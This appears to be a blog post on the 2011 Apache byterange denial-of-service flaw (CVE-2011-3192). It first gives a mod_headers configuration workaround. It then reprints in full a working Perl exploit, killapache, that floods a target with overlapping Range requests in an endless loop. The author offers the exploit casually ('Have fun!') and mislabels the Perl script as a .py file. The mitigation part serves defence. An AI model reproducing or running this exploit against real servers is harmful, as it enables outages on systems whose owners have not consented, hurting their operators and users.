Fix for Apache byterange filter DoS

There is a nasty little bug out there that affects Apache's byterange filter.  The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges.

More information here:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192

Luckily there is a workaround for this.  First, see if you have mod_headers installed:
locate mod_headers

#BEGIN TERMINAL OUTPUT
[root@apollo ~]# locate mod_headers
/_restore/102810/usr/lib/httpd/modules/mod_headers.so
/usr/lib/httpd/modules/mod_headers.so
#END TERMINAL OUTPUT

Now, we need to add a few lines to the httpd.conf file.  Mine is located at:
vi /etc/httpd/conf/httpd.conf

Look for this line:
LoadModule headers_module modules/mod_headers.so

Insert this code under "LoadModule headers_module modules/mod_headers.so":
<IfModule mod_headers.c>
# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (?:,.*?){5,5} bad-range=1
RequestHeader unset Range env=bad-range
# We always drop Request-Range; as this is a legacy
# dating back to MSIE3 and Netscape 2 and 3.
RequestHeader unset Request-Range
# optional logging.
CustomLog logs/range-CVE-2011-3192.log common env=bad-range
CustomLog logs/range-CVE-2011-3192.log common env=bad-req-range
</IfModule>


The code we added above will drop the Range header request and it's set to log this data.

Just restart Apache for the settings to take effect:
/etc/init.d/httpd restart

Here is the exploit code if you want to play around with it, just save it to a .py file:

#BEGIN EXPLOIT CODE
#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
    print "Apache Remote Denial of Service (memory exhaustion)\n";
    print "by Kingcope\n";
    print "usage: perl killapache.pl <host> [numforks]\n";
    print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";

$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
    $p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;

$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
    print "host seems vuln\n";
    return 1;
} else {
    return 0;
}
}

if ($#ARGV < 0) {
    usage;
    exit;
}

if ($#ARGV > 1) {
    $numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
    print "Host does not seem vulnerable\n";
    exit;
}
while(1) {
killapache();
}
#END EXPLOIT CODE

This will take down a box within a matter of minutes, if not, seconds.   Have fun!